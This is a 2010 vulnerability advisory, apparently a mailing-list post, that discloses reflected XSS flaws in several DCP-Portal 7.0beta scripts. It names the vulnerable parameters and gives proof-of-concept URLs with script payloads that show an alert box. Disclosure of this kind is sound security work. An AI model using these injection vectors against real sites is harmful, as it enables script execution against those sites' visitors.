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From:Andrei Rimsa <rimsa_(at)_live.com>
Date:8 июля 2010 г.
Subject:DCP-Portal Multiple XSS Vulnerabilities


Title: DCP-Portal Multiple XSS Vulnerabilities
Vendor: Worxware
Product: DCP-Portal
Tested Version: 7.0beta
Threat Class: XSS
Severity: High
Remote: yes
Local: no
Discovered By: Andrei Rimsa Alvares

===== Description =====

Multiple XSS vulnerabilities found in the DCP-Portal.

1. common/components/editor/insert_image.php, modules/newsletter/insert_image.php, php/editor.php
 The variable $upload_failure_report gets user input from http get request variable "Image" when the action
of deleting an uploaded file fails. Later this variable is outputted to the page without proper sanitization.

2. modules/gallery/view_img.php
 Page title can be modified by changing the http request variable "imgtitle". Since no sanitizer is used, an
XSS occurs on line 2.
 Another vulnerability exists if magic quotes is turned off. The http request variable "imagename" gets
outputted on the java script function document.write between simple quotes on line 27.

3. modules/tips/show_tip.php
 Http request variable "newsId" gets outputted to the page without proper sanitization on line 14.

===== Impact =====

Malicious java script code can be executed in the context of the affected web site.

===== Proof of Concept =====

All proof of concepts display a java script alert containing the message "XSS".

1. common/components/editor/insert_image.php, modules/newsletter/insert_image.php, php/editor.php

http://target/common/components/editor/insert_image.
php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.
fromCharCode(88,83,83));%3C/script%3E

http://target/modules/newsletter/insert_image.
php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.
fromCharCode(88,83,83));%3C/script%3E

http://target/php/editor.
php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.
fromCharCode(88,83,83));%3C/script%3E

2. modules/gallery/view_img.php

http://target/modules/gallery/view_img.
php?imgtitle=%3C/title%3E%3Cscript%3Ewindow.alert(String.
fromCharCode(88,83,83));%3C/script%3E
 (requires magic_quotes_gpc = off)
http://target/modules/gallery/view_img.php?imagename=%22');window.
alert('XSS');document.write('%22

3. modules/tips/show_tip.php

http://target/modules/tips/show_tip.php?newsId=%3Cscript%3Ewindow.
alert(String.fromCharCode(88,83,83));%3C/script%3E

===== Workaround =====

No workaround available at the time.

===== Disclosure Timeline =====

June, 16 2010 - Vendor notification.
July, 07 2010 - No vendor reply. Public disclosure.

===== References =====

http://www.dcp-portal.org
http://www.worxware.com                                           
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